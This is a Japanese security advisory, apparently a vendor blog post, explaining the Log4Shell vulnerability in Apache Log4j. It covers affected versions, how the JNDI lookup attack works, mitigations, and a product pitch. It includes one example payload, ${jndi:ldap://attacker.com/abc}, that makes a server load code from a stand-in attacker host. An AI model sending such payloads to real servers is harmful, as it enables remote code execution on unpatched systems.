Log4Shell: Apache Log4j リモート コード実行


重要な Java ロギング ユーティリティ Log4j での認証されていない RCE





2021 年 12 月 9 日、Apache は、Log4j 2 ユーティリティに、認証されていないリモート コード実行 (RCE) を可能にする重大な脆弱性が含まれていることを明らかにしました.これは、多数のアプリケーションに影響を与える深刻な問題です.

この投稿は Chetan ConikeeFabian Yamaguchi 、および Katie Horne によって共著されています.

何が影響を受けますか?



Log4j は、Apache Struts2 などの多くの主要なフレームワークに依存関係として含まれている、人気のあるオープン ソースのロギング パッケージです.

Log4Shell RCE の脆弱性により、攻撃者は脆弱なバージョンの Apache Log4j を実行しているサーバーにリクエストを送信することで、任意のコードを実行できます.この攻撃は「Log4Shell」と呼ばれ、CVE 番号 CVE-2021-44228 が与えられました. Apache Log4j バージョン <=2.14.1 は、攻撃に対して脆弱です.

攻撃はどのように機能しますか?



ログを解析するとき、Log4j は受け取った入力を検査し、入力に含まれる変数を解決しようとします.特に、Log4j は JNDI ルックアップをサポートしているため、ネットワーク経由で変数を取得できます.

アプリケーションが脆弱な Log4j バージョンを使用している場合、攻撃者は最初に悪意のあるペイロード ${jndi:ldap://attacker.com/abc} を含む文字列をアプリケーションに送信できます.ここで、attacker.com は攻撃者が制御するサーバーです.

脆弱なアプリケーションは、${} に含まれる入力を JDNI リソースとして解釈し、attacker.com にリソースを取得するように要求します.攻撃者は、脆弱なアプリケーションによってロードされるリモート Java クラス ファイルを送り返すことができます.

この問題を修正するにはどうすればよいですか?



この脆弱性からコードを保護するには、log4j ライブラリを最新バージョンにアップグレードしてください. log4j 2.15.0 以降、脆弱なルックアップ動作はデフォルトで無効になっています.

ライブラリをアップグレードできない場合は、次の方法でこの脆弱性を一時的に軽減できます.
  • Java 仮想マシンの起動時に log4j2.formatMsgNoLookups パラメータを true に設定します.
  • クラス JndiLookup を Java クラスパスから削除します.

  • zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
    


    ShiftLeft CORE ( https://www.shiftleft.io/ ) を使用すると、次のことができます.
  • 使用している Log4j ライブラリのバージョンを確認してください
  • 影響を受ける古いバージョンの Log4j を使用しており、攻撃者が提供した入力がロギング呼び出しに渡されるコードの部分を特定します
  • Intelligent SCA を使用して、信頼できないソースからライブラリにアクセスできるかどうかを確認します.

  • アプリケーション ログを監視し、異常なアクティビティがないか確認してください.詳細がわかり次第、この投稿を更新します.

    無料の ShiftLeft CORE アカウントを取得するには、https://www.shiftleft.io/register にアクセスしてください.
    Intelligent SCA を試すには、ShiftLeft CORE 内でプレミアム トライアルにサインアップしてください.